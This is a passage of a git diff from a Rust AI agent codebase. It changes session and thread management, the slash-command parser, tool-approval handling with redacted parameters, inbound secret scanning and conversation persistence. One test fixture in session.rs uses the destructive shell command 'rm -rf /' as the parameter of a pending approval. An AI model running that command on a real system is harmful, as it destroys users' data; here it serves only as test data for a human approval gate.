repair.repair_broken_tool(&broken).await.unwrap(); + assert!( + matches!(result, RepairResult::ManualRequired { .. }), + "Expected ManualRequired without builder, got: {:?}", + result + ); + } } diff --git a/src/agent/session.rs b/src/agent/session.rs index e77149ec..a051ffea 100644 --- a/src/agent/session.rs +++ b/src/agent/session.rs @@ -16,7 +16,7 @@ use chrono::{DateTime, Utc}; use serde::{Deserialize, Serialize}; use uuid::Uuid; -use crate::llm::ChatMessage; +use crate::llm::{ChatMessage, ToolCall}; /// A session containing one or more threads. #[derive(Debug, Clone, Serialize, Deserialize)] @@ -70,10 +70,9 @@ impl Session { pub fn create_thread(&mut self) -> &mut Thread { let thread = Thread::new(self.id); let thread_id = thread.id; - self.threads.insert(thread_id, thread); self.active_thread = Some(thread_id); self.last_active_at = Utc::now(); - self.threads.get_mut(&thread_id).expect("just inserted") + self.threads.entry(thread_id).or_insert(thread) } /// Get the active thread. @@ -88,10 +87,19 @@ impl Session { /// Get or create the active thread. pub fn get_or_create_thread(&mut self) -> &mut Thread { - if self.active_thread.is_none() { - self.create_thread(); + match self.active_thread { + None => self.create_thread(), + Some(id) => { + if self.threads.contains_key(&id) { + // Safe: contains_key confirmed the entry exists. + self.threads.get_mut(&id).unwrap() + } else { + // Stale active_thread ID: create a new thread, which + // updates self.active_thread to the new thread's ID. + self.create_thread() + } + } } - self.active_thread_mut().expect("just created") } /// Switch to a different thread. @@ -140,14 +148,26 @@ pub struct PendingApproval { pub request_id: Uuid, /// Tool name requiring approval. pub tool_name: String, - /// Tool parameters. + /// Tool parameters (original values, used for execution). pub parameters: serde_json::Value, + /// Redacted tool parameters (sensitive values replaced with `[REDACTED]`). + /// Used for display in approval UI, logs, and SSE broadcasts. + #[serde(default)] + pub display_parameters: serde_json::Value, /// Description of what the tool will do. pub description: String, /// Tool call ID from LLM (for proper context continuation). pub tool_call_id: String, /// Context messages at the time of the request (to resume from). pub context_messages: Vec, + /// Remaining tool calls from the same assistant message that were not + /// executed yet when approval was requested. + #[serde(default)] + pub deferred_tool_calls: Vec, + /// User timezone at the time the approval was requested, so it persists + /// through the approval flow even if the approval message lacks timezone. + #[serde(default)] + pub user_timezone: Option, } /// A conversation thread within a session. @@ -173,10 +193,6 @@ pub struct Thread { /// Pending auth token request (thread is in auth mode). #[serde(default)] pub pending_auth: Option, - /// Last NEAR AI response ID for response chaining. Persisted to DB - /// metadata so we can resume chaining across restarts. - #[serde(default)] - pub last_response_id: Option, } impl Thread { @@ -193,7 +209,6 @@ impl Thread { metadata: serde_json::Value::Null, pending_approval: None, pending_auth: None, - last_response_id: None, } } @@ -210,7 +225,6 @@ impl Thread { metadata: serde_json::Value::Null, pending_approval: None, pending_auth: None, - last_response_id: None, } } @@ -236,7 +250,8 @@ impl Thread { self.turns.push(turn); self.state = ThreadState::Processing; self.updated_at = Utc::now(); - self.turns.last_mut().expect("just pushed") + // turn_number was len() before push, so it's a valid index after push + &mut self.turns[turn_number] } /// Complete the current turn with a response. @@ -309,7 +324,14 @@ impl Thread { pub fn messages(&self) -> Vec { let mut messages = Vec::new(); for turn in &self.turns { - messages.push(ChatMessage::user(&turn.user_input)); + if turn.image_content_parts.is_empty() { + messages.push(ChatMessage::user(&turn.user_input)); + } else { + messages.push(ChatMessage::user_with_parts( + &turn.user_input, + turn.image_content_parts.clone(), + )); + } if let Some(ref response) = turn.response { messages.push(ChatMessage::assistant(response)); } @@ -349,8 +371,10 @@ impl Thread { if let Some(next) = iter.peek() && next.role == crate::llm::Role::Assistant { - let response = iter.next().expect("peeked"); - turn.complete(&response.content); + // iter.next() is guaranteed Some after a successful peek() + if let Some(response) = iter.next() { + turn.complete(&response.content); + } } self.turns.push(turn); @@ -394,6 +418,11 @@ pub struct Turn { pub completed_at: Option>, /// Error message (if failed). pub error: Option, + /// Transient image content parts for multimodal LLM input. + /// Not serialized — images are only needed for the current LLM call. + /// The text description in `user_input` persists for compaction/context. + #[serde(skip)] + pub image_content_parts: Vec, } impl Turn { @@ -408,6 +437,7 @@ impl Turn { started_at: Utc::now(), completed_at: None, error: None, + image_content_parts: Vec::new(), } } @@ -416,6 +446,8 @@ impl Turn { self.response = Some(response.into()); self.state = TurnState::Completed; self.completed_at = Some(Utc::now()); + // Free image data — only needed for the initial LLM call, not subsequent turns + self.image_content_parts.clear(); } /// Fail this turn. @@ -423,12 +455,14 @@ impl Turn { self.error = Some(error.into()); self.state = TurnState::Failed; self.completed_at = Some(Utc::now()); + self.image_content_parts.clear(); } /// Interrupt this turn. pub fn interrupt(&mut self) { self.state = TurnState::Interrupted; self.completed_at = Some(Utc::now()); + self.image_content_parts.clear(); } /// Record a tool call. @@ -848,7 +882,6 @@ mod tests { thread.start_turn("hello"); thread.complete_turn("world"); - thread.last_response_id = Some("resp_abc123".to_string()); let json = serde_json::to_string(&thread).unwrap(); let restored: Thread = serde_json::from_str(&json).unwrap(); @@ -858,7 +891,6 @@ mod tests { assert_eq!(restored.turns.len(), 1); assert_eq!(restored.turns[0].user_input, "hello"); assert_eq!(restored.turns[0].response, Some("world".to_string())); - assert_eq!(restored.last_response_id, Some("resp_abc123".to_string())); } #[test] @@ -943,9 +975,12 @@ mod tests { request_id: Uuid::new_v4(), tool_name: "shell".to_string(), parameters: serde_json::json!({"command": "rm -rf /"}), + display_parameters: serde_json::json!({"command": "rm -rf /"}), description: "dangerous command".to_string(), tool_call_id: "call_123".to_string(), context_messages: vec![ChatMessage::user("do it")], + deferred_tool_calls: vec![], + user_timezone: None, }; thread.await_approval(approval); @@ -966,9 +1001,12 @@ mod tests { request_id: Uuid::new_v4(), tool_name: "http".to_string(), parameters: serde_json::json!({}), + display_parameters: serde_json::json!({}), description: "test".to_string(), tool_call_id: "call_456".to_string(), context_messages: vec![], + deferred_tool_calls: vec![], + user_timezone: None, }; thread.await_approval(approval); diff --git a/src/agent/session_manager.rs b/src/agent/session_manager.rs index 244348cd..3db275cc 100644 --- a/src/agent/session_manager.rs +++ b/src/agent/session_manager.rs @@ -13,6 +13,9 @@ use crate::agent::session::Session; use crate::agent::undo::UndoManager; use crate::hooks::HookRegistry; +/// Warn when session count exceeds this threshold. +const SESSION_COUNT_WARNING_THRESHOLD: usize = 1000; + /// Key for mapping external thread IDs to internal ones. #[derive(Clone, Hash, Eq, PartialEq)] struct ThreadKey { @@ -68,6 +71,14 @@ impl SessionManager { let session = Arc::new(Mutex::new(new_session)); sessions.insert(user_id.to_string(), Arc::clone(&session)); + if sessions.len() >= SESSION_COUNT_WARNING_THRESHOLD && sessions.len() % 100 == 0 { + tracing::warn!( + "High session count: {} active sessions. \ + Pruning runs every 10 minutes; consider reducing session_idle_timeout.", + sessions.len() + ); + } + // Fire OnSessionStart hook (fire-and-forget) if let Some(ref hooks) = self.hooks { let hooks = hooks.clone(); @@ -117,6 +128,42 @@ impl SessionManager { } } + // Check if external_thread_id is itself a known thread UUID that + // exists in the session but was never registered in the thread_map + // (e.g. created by chat_new_thread_handler or hydrated from DB). + // We only adopt it if no thread_map entry maps to this UUID — + // otherwise it belongs to a different channel scope. + if let Some(ext_tid) = external_thread_id + && let Ok(ext_uuid) = Uuid::parse_str(ext_tid) + { + let thread_map = self.thread_map.read().await; + let mapped_elsewhere = thread_map.values().any(|&v| v == ext_uuid); + drop(thread_map); + + if !mapped_elsewhere { + let sess = session.lock().await; + if sess.threads.contains_key(&ext_uuid) { + drop(sess); + + let mut thread_map = self.thread_map.write().await; + // Re-check after acquiring write lock to prevent race condition + // where another task mapped this UUID between our read and write. + if !thread_map.values().any(|&v| v == ext_uuid) { + thread_map.insert(key, ext_uuid); + drop(thread_map); + // Ensure undo manager exists + let mut undo_managers = self.undo_managers.write().await; + undo_managers + .entry(ext_uuid) + .or_insert_with(|| Arc::new(Mutex::new(UndoManager::new()))); + return (session, ext_uuid); + } + // If it was mapped elsewhere while we were unlocked, fall through + // to create a new thread, preserving channel isolation. + } + } + } + // Create new thread (always create a new one for a new key) let thread_id = { let mut sess = session.lock().await; @@ -724,4 +771,153 @@ mod tests { .await; assert_ne!(resolved, tid); } + + // === QA Plan P3 - 4.2: Concurrent session stress tests === + + #[tokio::test] + async fn concurrent_get_or_create_same_user_returns_same_session() { + let manager = Arc::new(SessionManager::new()); + + let handles: Vec<_> = (0..30) + .map(|_| { + let mgr = Arc::clone(&manager); + tokio::spawn(async move { mgr.get_or_create_session("shared-user").await }) + }) + .collect(); + + let mut sessions = Vec::new(); + for handle in handles { + sessions.push(handle.await.expect("task should not panic")); + } + + // All 30 must return the *same* Arc (double-checked locking guarantee). + for s in &sessions { + assert!(Arc::ptr_eq(&sessions[0], s)); + } + } + + #[tokio::test] + async fn concurrent_resolve_thread_distinct_users_no_cross_talk() { + let manager = Arc::new(SessionManager::new()); + + let handles: Vec<_> = (0..20) + .map(|i| { + let mgr = Arc::clone(&manager); + tokio::spawn(async move { + let user = format!("user-{i}"); + let (session, tid) = mgr.resolve_thread(&user, "gateway", None).await; + (user, session, tid) + }) + }) + .collect(); + + let mut results = Vec::new(); + for handle in handles { + results.push(handle.await.expect("task should not panic")); + } + + // All thread IDs must be unique. + let tids: std::collections::HashSet<_> = results.iter().map(|(_, _, t)| *t).collect(); + assert_eq!(tids.len(), 20); + + // Each session should contain exactly 1 thread (its own). + for (_, session, tid) in &results { + let sess = session.lock().await; + assert!(sess.threads.contains_key(tid)); + assert_eq!(sess.threads.len(), 1); + } + } + + #[tokio::test] + async fn concurrent_resolve_thread_same_user_different_channels() { + let manager = Arc::new(SessionManager::new()); + let channels = ["gateway", "telegram", "slack", "cli", "repl"]; + + let handles: Vec<_> = channels + .iter() + .map(|ch| { + let mgr = Arc::clone(&manager); + let channel = ch.to_string(); + tokio::spawn(async move { + let (session, tid) = mgr.resolve_thread("multi-ch", &channel, None).await; + (channel, session, tid) + }) + }) + .collect(); + + let mut results = Vec::new(); + for handle in handles { + results.push(handle.await.expect("task should not panic")); + } + + // All 5 threads must be unique (different channels = different keys). + let tids: std::collections::HashSet<_> = results.iter().map(|(_, _, t)| *t).collect(); + assert_eq!(tids.len(), 5); + + // All threads should live in the same session. + let sess = results[0].1.lock().await; + assert_eq!(sess.threads.len(), 5); + } + + #[tokio::test] + async fn concurrent_get_undo_manager_same_thread_returns_same_arc() { + let manager = Arc::new(SessionManager::new()); + let (_, tid) = manager.resolve_thread("undo-user", "gateway", None).await; + + let handles: Vec<_> = (0..20) + .map(|_| { + let mgr = Arc::clone(&manager); + tokio::spawn(async move { mgr.get_undo_manager(tid).await }) + }) + .collect(); + + let mut managers = Vec::new(); + for handle in handles { + managers.push(handle.await.expect("task should not panic")); + } + + // All 20 must point to the same UndoManager. + for m in &managers { + assert!(Arc::ptr_eq(&managers[0], m)); + } + } + + #[tokio::test] + async fn test_resolve_thread_finds_existing_session_thread_by_uuid() { + use crate::agent::session::{Session, Thread}; + + let manager = SessionManager::new(); + let tid = Uuid::new_v4(); + + // Simulate chat_new_thread_handler: create thread directly in session + // without registering it in thread_map + let session = Arc::new(Mutex::new(Session::new("user-direct"))); + { + let mut sess = session.lock().await; + let thread = Thread::with_id(tid, sess.id); + sess.threads.insert(tid, thread); + } + { + let mut sessions = manager.sessions.write().await; + sessions.insert("user-direct".to_string(), Arc::clone(&session)); + } + + // resolve_thread should find the existing thread by UUID + // instead of creating a duplicate + let (_, resolved) = manager + .resolve_thread("user-direct", "gateway", Some(&tid.to_string())) + .await; + assert_eq!( + resolved, tid, + "should reuse existing thread, not create a new one" + ); + + // Verify no duplicate threads were created + let sess = session.lock().await; + assert_eq!( + sess.threads.len(), + 1, + "should have exactly 1 thread, not a duplicate" + ); + } } diff --git a/src/agent/submission.rs b/src/agent/submission.rs index a2b6b4d7..46336133 100644 --- a/src/agent/submission.rs +++ b/src/agent/submission.rs @@ -14,6 +14,7 @@ impl SubmissionParser { pub fn parse(content: &str) -> Submission { let trimmed = content.trim(); let lower = trimmed.to_lowercase(); + tracing::debug!("[SubmissionParser::parse] Parsing input: {:?}", trimmed); // Control commands (exact match or prefix) if lower == "/undo" { @@ -62,6 +63,23 @@ impl SubmissionParser { args: vec![], }; } + if lower == "/skills" { + return Submission::SystemCommand { + command: "skills".to_string(), + args: vec![], + }; + } + if lower.starts_with("/skills ") { + let args: Vec = trimmed + .split_whitespace() + .skip(1) + .map(|s| s.to_string()) + .collect(); + return Submission::SystemCommand { + command: "skills".to_string(), + args, + }; + } if lower == "/ping" { return Submission::SystemCommand { command: "ping".to_string(), @@ -74,6 +92,13 @@ impl SubmissionParser { args: vec![], }; } + if lower == "/restart" { + tracing::debug!("[SubmissionParser::parse] Recognized /restart command"); + return Submission::SystemCommand { + command: "restart".to_string(), + args: vec![], + }; + } if lower.starts_with("/model") { let args: Vec = trimmed .split_whitespace() @@ -90,6 +115,29 @@ impl SubmissionParser { return Submission::Quit; } + // Job commands + if lower == "/status" || lower == "/progress" { + return Submission::JobStatus { job_id: None }; + } + if let Some(rest) = lower + .strip_prefix("/status ") + .or_else(|| lower.strip_prefix("/progress ")) + { + let id = rest.trim().to_string(); + if !id.is_empty() { + return Submission::JobStatus { job_id: Some(id) }; + } + } + if lower == "/list" { + return Submission::JobStatus { job_id: None }; + } + if let Some(rest) = lower.strip_prefix("/cancel ") { + let id = rest.trim().to_string(); + if !id.is_empty() { + return Submission::JobCancel { job_id: id }; + } + } + // /thread - switch thread if let Some(rest) = lower.strip_prefix("/thread ") { let rest = rest.trim(); @@ -118,19 +166,19 @@ impl SubmissionParser { // Approval responses (simple yes/no/always for pending approvals) // These are short enough to check explicitly match lower.as_str() { - "yes" | "y" | "approve" | "ok" => { + "yes" | "y" | "approve" | "ok" | "/approve" | "/yes" | "/y" => { return Submission::ApprovalResponse { approved: true, always: false, }; } - "always" | "yes always" | "approve always" => { + "always" | "a" | "yes always" | "approve always" | "/always" | "/a" => { return Submission::ApprovalResponse { approved: true, always: true, }; } - "no" | "n" | "deny" | "reject" | "cancel" => { + "no" | "n" | "deny" | "reject" | "cancel" | "/deny" | "/no" | "/n" => { return Submission::ApprovalResponse { approved: false, always: false, @@ -212,6 +260,18 @@ pub enum Submission { /// Suggest next steps based on the current thread. Suggest, + /// Check job status. No job_id shows all jobs; with job_id shows a specific job. + JobStatus { + /// Optional job ID (UUID or short prefix). If None, shows all jobs. + job_id: Option, + }, + + /// Cancel a running job. + JobCancel { + /// Job ID (UUID or short prefix). + job_id: String, + }, + /// Quit the agent. Bypasses thread-state checks. Quit, @@ -234,6 +294,7 @@ impl Submission { } /// Create an approval submission. + #[cfg(test)] pub fn approval(request_id: Uuid, approved: bool) -> Self { Self::ExecApproval { request_id, @@ -243,6 +304,7 @@ impl Submission { } /// Create an "always approve" submission. + #[cfg(test)] pub fn always_approve(request_id: Uuid) -> Self { Self::ExecApproval { request_id, @@ -252,26 +314,31 @@ impl Submission { } /// Create an interrupt submission. + #[cfg(test)] pub fn interrupt() -> Self { Self::Interrupt } /// Create a compact submission. + #[cfg(test)] pub fn compact() -> Self { Self::Compact } /// Create an undo submission. + #[cfg(test)] pub fn undo() -> Self { Self::Undo } /// Create a redo submission. + #[cfg(test)] pub fn redo() -> Self { Self::Redo } /// Check if this submission starts a new turn. + #[cfg(test)] pub fn starts_turn(&self) -> bool { matches!(self, Self::UserInput { .. }) } @@ -289,6 +356,8 @@ impl Submission { | Self::Heartbeat | Self::Summarize | Self::Suggest + | Self::JobStatus { .. } + | Self::JobCancel { .. } | Self::SystemCommand { .. } ) } @@ -340,6 +409,7 @@ impl SubmissionResult { } /// Create an OK result. + #[cfg(test)] pub fn ok() -> Self { Self::Ok { message: None } } @@ -475,6 +545,57 @@ mod tests { assert!(matches!(submission, Submission::UserInput { content } if content == "/unknown")); } + #[test] + fn test_parser_approval_response_aliases() { + // approve once + assert!(matches!( + SubmissionParser::parse("y"), + Submission::ApprovalResponse { + approved: true, + always: false + } + )); + assert!(matches!( + SubmissionParser::parse("/approve"), + Submission::ApprovalResponse { + approved: true, + always: false + } + )); + + // approve always + assert!(matches!( + SubmissionParser::parse("a"), + Submission::ApprovalResponse { + approved: true, + always: true + } + )); + assert!(matches!( + SubmissionParser::parse("/always"), + Submission::ApprovalResponse { + approved: true, + always: true + } + )); + + // deny + assert!(matches!( + SubmissionParser::parse("n"), + Submission::ApprovalResponse { + approved: false, + always: false + } + )); + assert!(matches!( + SubmissionParser::parse("/deny"), + Submission::ApprovalResponse { + approved: false, + always: false + } + )); + } + #[test] fn test_parser_json_exec_approval() { let req_id = Uuid::new_v4(); @@ -634,6 +755,86 @@ mod tests { assert!(!submission.starts_turn()); } + #[test] + fn test_parser_system_command_skills() { + let submission = SubmissionParser::parse("/skills"); + assert!( + matches!(submission, Submission::SystemCommand { command, args } if command == "skills" && args.is_empty()) + ); + + // Case insensitive + let submission = SubmissionParser::parse("/SKILLS"); + assert!( + matches!(submission, Submission::SystemCommand { command, .. } if command == "skills") + ); + } + + #[test] + fn test_parser_system_command_skills_search() { + let submission = SubmissionParser::parse("/skills search markdown"); + assert!( + matches!(submission, Submission::SystemCommand { command, args } + if command == "skills" && args == vec!["search", "markdown"]) + ); + + // Multiple words in query + let submission = SubmissionParser::parse("/skills search code review tools"); + assert!( + matches!(submission, Submission::SystemCommand { command, args } + if command == "skills" && args == vec!["search", "code", "review", "tools"]) + ); + } + + #[test] + fn test_parser_job_status() { + // /status with no id → all jobs + let s = SubmissionParser::parse("/status"); + assert!(matches!(s, Submission::JobStatus { job_id: None })); + + // /progress alias + let s = SubmissionParser::parse("/progress"); + assert!(matches!(s, Submission::JobStatus { job_id: None })); + + // /status with id + let s = SubmissionParser::parse("/status abc123"); + assert!(matches!(s, Submission::JobStatus { job_id: Some(id) } if id == "abc123")); + + // /progress with id + let s = SubmissionParser::parse("/progress abc123"); + assert!(matches!(s, Submission::JobStatus { job_id: Some(id) } if id == "abc123")); + + // case insensitive + let s = SubmissionParser::parse("/STATUS"); + assert!(matches!(s, Submission::JobStatus { job_id: None })); + } + + #[test] + fn test_parser_job_list() { + // /list is an alias for /status with no job_id + let s = SubmissionParser::parse("/list"); + assert!(matches!(s, Submission::JobStatus { job_id: None })); + + let s = SubmissionParser::parse("/LIST"); + assert!(matches!(s, Submission::JobStatus { job_id: None })); + } + + #[test] + fn test_parser_job_cancel() { + let s = SubmissionParser::parse("/cancel abc123"); + assert!(matches!(s, Submission::JobCancel { job_id } if job_id == "abc123")); + + // /cancel with no id → falls through to UserInput + let s = SubmissionParser::parse("/cancel"); + assert!(matches!(s, Submission::UserInput { .. })); + } + + #[test] + fn test_job_commands_are_control() { + assert!(SubmissionParser::parse("/status").is_control()); + assert!(SubmissionParser::parse("/list").is_control()); + assert!(SubmissionParser::parse("/cancel abc").is_control()); + } + #[test] fn test_parser_quit() { assert!(matches!(SubmissionParser::parse("/quit"), Submission::Quit)); diff --git a/src/agent/task.rs b/src/agent/task.rs index ba5e359c..6d1087c8 100644 --- a/src/agent/task.rs +++ b/src/agent/task.rs @@ -29,6 +29,7 @@ impl TaskOutput { } /// Create a text result. + #[cfg(test)] pub fn text(text: impl Into, duration: Duration) -> Self { Self { result: serde_json::Value::String(text.into()), @@ -37,6 +38,7 @@ impl TaskOutput { } /// Create an empty success result. + #[cfg(test)] pub fn empty(duration: Duration) -> Self { Self { result: serde_json::Value::Null, @@ -130,6 +132,7 @@ impl Task { } /// Create a new Job task with a specific ID. + #[cfg(test)] pub fn job_with_id(id: Uuid, title: impl Into, description: impl Into) -> Self { Self::Job { id, @@ -152,6 +155,7 @@ impl Task { } /// Create a new Background task. + #[cfg(test)] pub fn background(handler: std::sync::Arc) -> Self { Self::Background { id: Uuid::new_v4(), @@ -160,6 +164,7 @@ impl Task { } /// Create a new Background task with a specific ID. + #[cfg(test)] pub fn background_with_id(id: Uuid, handler: std::sync::Arc) -> Self { Self::Background { id, handler } } @@ -174,6 +179,7 @@ impl Task { } /// Get the parent ID for sub-tasks. + #[cfg(test)] pub fn parent_id(&self) -> Option { match self { Self::Job { .. } => None, @@ -225,6 +231,7 @@ impl fmt::Debug for Task { } /// Status of a scheduled task. +#[cfg(test)] #[derive(Debug, Clone, Copy, PartialEq, Eq)] pub enum TaskStatus { /// Task is queued waiting for execution. diff --git a/src/agent/thread_ops.rs b/src/agent/thread_ops.rs index 195591ba..4dc3ff17 100644 --- a/src/agent/thread_ops.rs +++ b/src/agent/thread_ops.rs @@ -6,17 +6,22 @@ use std::sync::Arc; use tokio::sync::Mutex; +use tokio::task::JoinSet; use uuid::Uuid; use crate::agent::Agent; use crate::agent::compaction::ContextCompactor; -use crate::agent::dispatcher::{AgenticLoopResult, detect_auth_awaiting, parse_auth_result}; -use crate::agent::session::{Session, ThreadState}; +use crate::agent::dispatcher::{ + AgenticLoopResult, check_auth_required, execute_chat_tool_standalone, parse_auth_result, +}; +use crate::agent::session::{PendingApproval, Session, ThreadState}; use crate::agent::submission::SubmissionResult; +use crate::channels::web::util::truncate_preview; use crate::channels::{IncomingMessage, StatusUpdate}; use crate::context::JobContext; use crate::error::Error; use crate::llm::ChatMessage; +use crate::tools::redact_params; impl Agent { /// Hydrate a historical thread from DB into memory if not already present. @@ -66,6 +71,8 @@ impl Agent { .filter_map(|m| match m.role.as_str() { "user" => Some(ChatMessage::user(&m.content)), "assistant" => Some(ChatMessage::assistant(&m.content)), + // tool_calls rows are UI metadata (tool name + preview), + // not part of the LLM conversation context. _ => None, }) .collect(); @@ -84,20 +91,6 @@ impl Agent { thread.restore_from_messages(chat_messages); } - // Restore response chain from conversation metadata - if let Some(store) = self.store() - && let Ok(Some(metadata)) = store.get_conversation_metadata(thread_uuid).await - && let Some(rid) = metadata - .get("last_response_id") - .and_then(|v| v.as_str()) - .map(String::from) - { - thread.last_response_id = Some(rid.clone()); - self.llm() - .seed_response_chain(&thread_uuid.to_string(), rid); - tracing::debug!("Restored response chain for thread {}", thread_uuid); - } - // Insert into session and register with session manager { let mut sess = session.lock().await; @@ -184,6 +177,18 @@ impl Agent { return Ok(SubmissionResult::error("Input rejected by safety policy.")); } + // Scan inbound messages for secrets (API keys, tokens). + // Catching them here prevents the LLM from echoing them back, which + // would trigger the outbound leak detector and create error loops. + if let Some(warning) = self.safety().scan_inbound_for_secrets(content) { + tracing::warn!( + user = %message.user_id, + channel = %message.channel, + "Inbound message blocked: contains leaked secret" + ); + return Ok(SubmissionResult::error(warning)); + } + // Handle explicit commands (starting with /) directly // Everything else goes through the normal agentic loop with tools let temp_message = IncomingMessage { @@ -252,6 +257,14 @@ impl Agent { ); } + // Augment content with attachment context (transcripts, metadata, images) + let augmented = + crate::agent::attachments::augment_with_attachments(content, &message.attachments); + let (effective_content, image_parts) = match &augmented { + Some(result) => (result.text.as_str(), result.image_parts.clone()), + None => (content, Vec::new()), + }; + // Start the turn and get messages let turn_messages = { let mut sess = session.lock().await; @@ -259,10 +272,15 @@ impl Agent { .threads .get_mut(&thread_id) .ok_or_else(|| Error::from(crate::error::JobError::NotFound { id: thread_id }))?; - thread.start_turn(content); + let turn = thread.start_turn(effective_content); + turn.image_content_parts = image_parts; thread.messages() }; + // Persist user message to DB immediately so it survives crashes + self.persist_user_message(thread_id, &message.user_id, effective_content) + .await; + // Send thinking status let _ = self .channels @@ -275,7 +293,7 @@ impl Agent { // Run the agentic tool execution loop let result = self - .run_agentic_loop(message, session.clone(), thread_id, turn_messages, false) + .run_agentic_loop(message, session.clone(), thread_id, turn_messages) .await; // Re-acquire lock and check if interrupted @@ -322,7 +340,11 @@ impl Agent { }; thread.complete_turn(&response); - self.persist_response_chain(thread); + let tool_calls = thread + .turns + .last() + .map(|t| t.tool_calls.clone()) + .unwrap_or_default(); let _ = self .channels .send_status( @@ -332,8 +354,11 @@ impl Agent { ) .await; - // Fire-and-forget: persist turn to DB - self.persist_turn(thread_id, &message.user_id, content, Some(&response)); + // Persist tool calls then assistant response (user message already persisted at turn start) + self.persist_tool_calls(thread_id, &message.user_id, &tool_calls) + .await; + self.persist_assistant_response(thread_id, &message.user_id, &response) + .await; Ok(SubmissionResult::response(response)) } @@ -342,7 +367,7 @@ impl Agent { let request_id = pending.request_id; let tool_name = pending.tool_name.clone(); let description = pending.description.clone(); - let parameters = pending.parameters.clone(); + let parameters = pending.display_parameters.clone(); thread.await_approval(pending); let _ = self .channels @@ -361,92 +386,135 @@ impl Agent { } Err(e) => { thread.fail_turn(e.to_string()); - - // Persist the user message even on failure - self.persist_turn(thread_id, &message.user_id, content, None); - + // User message already persisted at turn start; nothing else to save Ok(SubmissionResult::error(e.to_string())) } } } - /// Fire-and-forget: persist a turn (user message + optional assistant response) to the DB. - pub(super) fn persist_turn( + /// Persist the user message to the DB at turn start (before the agentic loop). + /// + /// This ensures the user message is durable even if the process crashes + /// mid-response. Call this right after `thread.start_turn()`. + pub(super) async fn persist_user_message( &self, thread_id: Uuid, user_id: &str, user_input: &str, - response: Option<&str>, ) { let store = match self.store() { Some(s) => Arc::clone(s), None => return, }; - let user_id = user_id.to_string(); - let user_input = user_input.to_string(); - let response = response.map(String::from); + if let Err(e) = store + .ensure_conversation(thread_id, "gateway", user_id, None) + .await + { + tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e); + return; + } - tokio::spawn(async move { - if let Err(e) = store - .ensure_conversation(thread_id, "gateway", &user_id, None) - .await - { - tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e); - return; - } - - if let Err(e) = store - .add_conversation_message(thread_id, "user", &user_input) - .await - { - tracing::warn!("Failed to persist user message: {}", e); - return; - } - - if let Some(ref resp) = response - && let Err(e) = store - .add_conversation_message(thread_id, "assistant", resp) - .await - { - tracing::warn!("Failed to persist assistant message: {}", e); - } - }); + if let Err(e) = store + .add_conversation_message(thread_id, "user", user_input) + .await + { + tracing::warn!("Failed to persist user message: {}", e); + } } - /// Sync the provider's response chain ID to the thread and DB metadata. + /// Persist the assistant response to the DB after the agentic loop completes. /// - /// Call after a successful agentic loop to persist the latest - /// `previous_response_id` so chaining survives restarts. - pub(super) fn persist_response_chain(&self, thread: &mut crate::agent::session::Thread) { - let tid = thread.id.to_string(); - let response_id = match self.llm().get_response_chain_id(&tid) { - Some(rid) => rid, - None => return, - }; - - // Update in-memory thread - thread.last_response_id = Some(response_id.clone()); - - // Fire-and-forget DB write + /// Re-ensures the conversation row exists so that assistant responses are + /// still persisted even if `persist_user_message` failed transiently at + /// turn start (e.g. a brief DB blip that resolved before response time). + pub(super) async fn persist_assistant_response( + &self, + thread_id: Uuid, + user_id: &str, + response: &str, + ) { let store = match self.store() { Some(s) => Arc::clone(s), None => return, }; - let thread_id = thread.id; - tokio::spawn(async move { - let val = serde_json::json!(response_id); - if let Err(e) = store - .update_conversation_metadata_field(thread_id, "last_response_id", &val) - .await - { - tracing::warn!( - "Failed to persist response chain for thread {}: {}", - thread_id, - e - ); + + if let Err(e) = store + .ensure_conversation(thread_id, "gateway", user_id, None) + .await + { + tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e); + return; + } + + if let Err(e) = store + .add_conversation_message(thread_id, "assistant", response) + .await + { + tracing::warn!("Failed to persist assistant message: {}", e); + } + } + + /// Persist tool call summaries to the DB as a `role="tool_calls"` message. + /// + /// Stored between the user and assistant messages so that + /// `build_turns_from_db_messages` can reconstruct the tool call history. + /// Content is a JSON array of tool call summaries. + pub(super) async fn persist_tool_calls( + &self, + thread_id: Uuid, + user_id: &str, + tool_calls: &[crate::agent::session::TurnToolCall], + ) { + if tool_calls.is_empty() { + return; + } + + let store = match self.store() { + Some(s) => Arc::clone(s), + None => return, + }; + + let summaries: Vec = tool_calls + .iter() + .map(|tc| { + let mut obj = serde_json::json!({ "name": tc.name }); + if let Some(ref result) = tc.result { + let preview = match result { + serde_json::Value::String(s) => truncate_preview(s, 500), + other => truncate_preview(&other.to_string(), 500), + }; + obj["result_preview"] = serde_json::Value::String(preview); + } + if let Some(ref error) = tc.error { + obj["error"] = serde_json::Value::String(truncate_preview(error, 200)); + } + obj + }) + .collect(); + + let content = match serde_json::to_string(&summaries) { + Ok(c) => c, + Err(e) => { + tracing::warn!("Failed to serialize tool calls: {}", e); + return; } - }); + }; + + if let Err(e) = store + .ensure_conversation(thread_id, "gateway", user_id, None) + .await + { + tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e); + return; + } + + if let Err(e) = store + .add_conversation_message(thread_id, "tool_calls", &content) + .await + { + tracing::warn!("Failed to persist tool calls: {}", e); + } } pub(super) async fn process_undo( @@ -608,8 +676,8 @@ impl Agent { approved: bool, always: bool, ) -> Result { - // Get thread state and pending approval - let (_thread_state, pending) = { + // Get pending approval for this thread + let pending = { let mut sess = session.lock().await; let thread = sess .threads @@ -617,16 +685,27 @@ impl Agent { .ok_or_else(|| Error::from(crate::error::JobError::NotFound { id: thread_id }))?; if thread.state != ThreadState::AwaitingApproval { - return Ok(SubmissionResult::error("No pending approval request.")); + // Stale or duplicate approval (tool already executed) — silently ignore. + tracing::debug!( + %thread_id, + state = ?thread.state, + "Ignoring stale approval: thread not in AwaitingApproval state" + ); + return Ok(SubmissionResult::ok_with_message("")); } - let pending = thread.take_pending_approval(); - (thread.state, pending) + thread.take_pending_approval() }; let pending = match pending { Some(p) => p, - None => return Ok(SubmissionResult::error("No pending approval request.")), + None => { + tracing::debug!( + %thread_id, + "Ignoring stale approval: no pending approval found" + ); + return Ok(SubmissionResult::ok_with_message("")); + } }; // Verify request ID if provided @@ -664,8 +743,19 @@ impl Agent { } // Execute the approved tool and continue the loop - let job_ctx = + let mut job_ctx = JobContext::with_user(&message.user_id, "chat", "Interactive chat session"); + job_ctx.http_interceptor = self.deps.http_interceptor.clone(); + // Prefer a valid timezone from the approval message, fall back to the + // resolved timezone stored when the approval was originally requested. + let tz_candidate = message + .timezone + .as_deref() + .filter(|tz| 